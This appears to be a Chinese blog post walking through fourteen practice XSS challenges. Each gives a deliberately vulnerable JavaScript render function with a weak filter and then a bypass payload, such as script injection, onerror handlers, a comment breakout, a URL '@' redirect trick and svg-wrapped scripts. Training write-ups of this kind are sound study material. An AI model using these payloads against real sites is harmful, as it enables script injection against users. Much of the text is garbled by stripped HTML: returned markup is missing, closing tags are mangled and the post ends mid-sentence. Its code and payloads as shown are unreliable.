• xss漏洞简单案例


    目录

    一:function render (input) {  return '

    '}

    二:function render (input) {  return '' + input + ''}

    ​编辑

    三:function render (input) {  return ''}

     四:function render (input) {  const stripBracketsRe = /[()]/g  input = input.replace(stripBracketsRe, '')  return input}

    五:function render (input) {  const stripBracketsRe = /[()`]/g  input = input.replace(stripBracketsRe, '')  return input}

    六:function render (input) {  input = input.replace(/-->/g, '😂')  return ''}

    七: function render (input) {  input = input.replace(/auto|on.*=|>/ig, '_')  return ``}

     八:

    function render (input) {  const stripTagsRe = /<\/?[^>]+>/gi

      input = input.replace(stripTagsRe, '')  return `

    ${input}

    `}

     九:function render (src) {  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')  return `      `}

     十:function render (input) {  let domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) {    return ``  }  return 'Invalid URL'}

    十一:

    function render (input) {  function escapeHtml(s) {    return s.replace(/&/g, '&')            .replace(/'/g, ''')            .replace(/"/g, '"')            .replace(//g, '>')            .replace(/\//g, '/')  }

      const domainRe = /^https?:\/\/www\.segmentfault\.com/  if (domainRe.test(input)) {    return ``  }  return 'Invalid URL'}

    ​编辑 十二:function render (input) {  input = input.toUpperCase()  return `

    ${input}

    `}

    十三: function escape(input) {    // pass in something like dog#cat#bird#mouse...    var segments = input.split('#');    return segments.map(function(title) {        // title can only contain 12 characters        return '

    ';    }).join('\n');}

     ​编辑

    十四:

    function escape(input) {    // sort of spoiler of level 7    input = input.replace(/\*/g, '');    // pass in something like dog#cat#bird#mouse...    var segments = input.split('#');

        return segments.map(function(title, index) {        // title can only contain 15 characters        return '

    ';    }).join('\n');} 

    为什么要加svg,svg命名空间

    一:function render (input) {
      return '
    ' + input + '
    '
    }

     解法:

  • <script> alert(1)script> //
  • 题目:
  • function render (input) {
  • return '
    ' + input + '
    '
  • }
  • 二:function render (input) {
      return ''
    }

     解法:

    1. </textarea>
    2. 题目:
    3. function render (input) {
    4. const stripBracketsRe = /[()]/g
    5. input = input.replace(stripBracketsRe, '')
    6. return input
    7. }

    五:function render (input) {
      const stripBracketsRe = /[()`]/g
      input = input.replace(stripBracketsRe, '')
      return input
    }

    解法:

    1. 1 onerror="alert(1)"
    2. 题目:
    3. function render (input) {
    4. const stripBracketsRe = /[()`]/g
    5. input = input.replace(stripBracketsRe, '')
    6. return input
    7. }

    六:function render (input) {
      input = input.replace(/-->/g, '😂')
      return ''
    }

    解法: 

    1. --!><script>alert(1)script><--
    2. 题目:
    3. function render (input) {
    4. input = input.replace(/-->/g, '😂')
    5. return ''
    6. }

    七: function render (input) {
      input = input.replace(/auto|on.*=|>/ig, '_')
      return ``
    }

    解法:

    1. type="image" src=1 onerror
    2. =alert(1)
    3. 题目:
    4. function render (input) {
    5. input = input.replace(/auto|on.*=|>/ig, '_')
    6. return `<input value=1 ${input} type="text">`
    7. }

     八:

    function render (input) {
      const stripTagsRe = /<\/?[^>]+>/gi

      input = input.replace(stripTagsRe, '')
      return `
    ${input}
    `
    }

    解法:

    1. 1 onerror="alert(1)"
    2. 题目:
    3. function render (input) {
    4. const stripTagsRe = /<\/?[^>]+>/gi
    5. input = input.replace(stripTagsRe, '')
    6. return `
      ${input}
      `
    7. }

     九:function render (src) {
      src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
      return `
       
      `
    }

    解法:

    1. ><script>alert(1)script>
    2. 题目:
    3. function render (src) {
    4. src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
    5. return `
    6. `
    7. }

     十:function render (input) {
      let domainRe = /^https?:\/\/www\.segmentfault\.com/
      if (domainRe.test(input)) {
        return ``
      }
      return 'Invalid URL'
    }

    解法: 

    1. http://www.segmentfault.com">
    2. 题目:
    3. function render (input) {
    4. let domainRe = /^https?:\/\/www\.segmentfault\.com/
    5. if (domainRe.test(input)) {
    6. return ``
    7. }
    8. return 'Invalid URL'
    9. }

    十一:

    function render (input) {
      function escapeHtml(s) {
        return s.replace(/&/g, '&')
                .replace(/'/g, ''')
                .replace(/"/g, '"')
                .replace(/             .replace(/>/g, '>')
                .replace(/\//g, '/')
      }

      const domainRe = /^https?:\/\/www\.segmentfault\.com/
      if (domainRe.test(input)) {
        return ``
      }
      return 'Invalid URL'
    }

    解法:

    1. http://www.segmentfault.com@127.0.0.1/test.js
    2. //@ 可以重定向到@后面的连接中
    3. 题目:
    4. function render (input) {
    5. function escapeHtml(s) {
    6. return s.replace(/&/g, '&')
    7. .replace(/'/g, ''')
    8. .replace(/"/g, '"')
    9. .replace(/, '<')
    10. .replace(/>/g, '>')
    11. .replace(/\//g, '/')
    12. }
    13. const domainRe = /^https?:\/\/www\.segmentfault\.com/
    14. if (domainRe.test(input)) {
    15. return ``
    16. }
    17. return 'Invalid URL'
    18. }

     

     十二:function render (input) {
      input = input.toUpperCase()
      return `

    ${input}

    `
    }

    解法:

    1. alert(1)>
    2. 题目:
    3. function render (input) {
    4. input = input.toUpperCase()
    5. return `<h1>${input}h1>`
    6. }

     

    十三: function escape(input) {
        // pass in something like dog#cat#bird#mouse...
        var segments = input.split('#');
        return segments.map(function(title) {
            // title can only contain 12 characters
            return '

    ';
        }).join('\n');
    }

     

     解法:

    1. "><script>/*#*/prompt(/*#*/1)/*#*/script>
    2. 题目:
    3. function escape(input) {
    4. // pass in something like dog#cat#bird#mouse...
    5. var segments = input.split('#');
    6. return segments.map(function(title) {
    7. // title can only contain 12 characters
    8. return '<p class="comment" title="' + title.slice(0, 12) + '">p>';
    9. }).join('\n');
    10. }

    十四:

    function escape(input) {
        // sort of spoiler of level 7
        input = input.replace(/\*/g, '');
        // pass in something like dog#cat#bird#mouse...
        var segments = input.split('#');

        return segments.map(function(title, index) {
            // title can only contain 15 characters
            return '

    ';
        }).join('\n');

     解法:

    1. "><svg><script>prompt(1)script>
    2. 题目:
    3. function escape(input) {
    4. // sort of spoiler of level 7
    5. input = input.replace(/\*/g, '');
    6. // pass in something like dog#cat#bird#mouse...
    7. var segments = input.split('#');
    8. return segments.map(function(title, index) {
    9. // title can only contain 15 characters
    10. return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'>p>';
    11. }).join('\n');
    12. }

    为什么要加?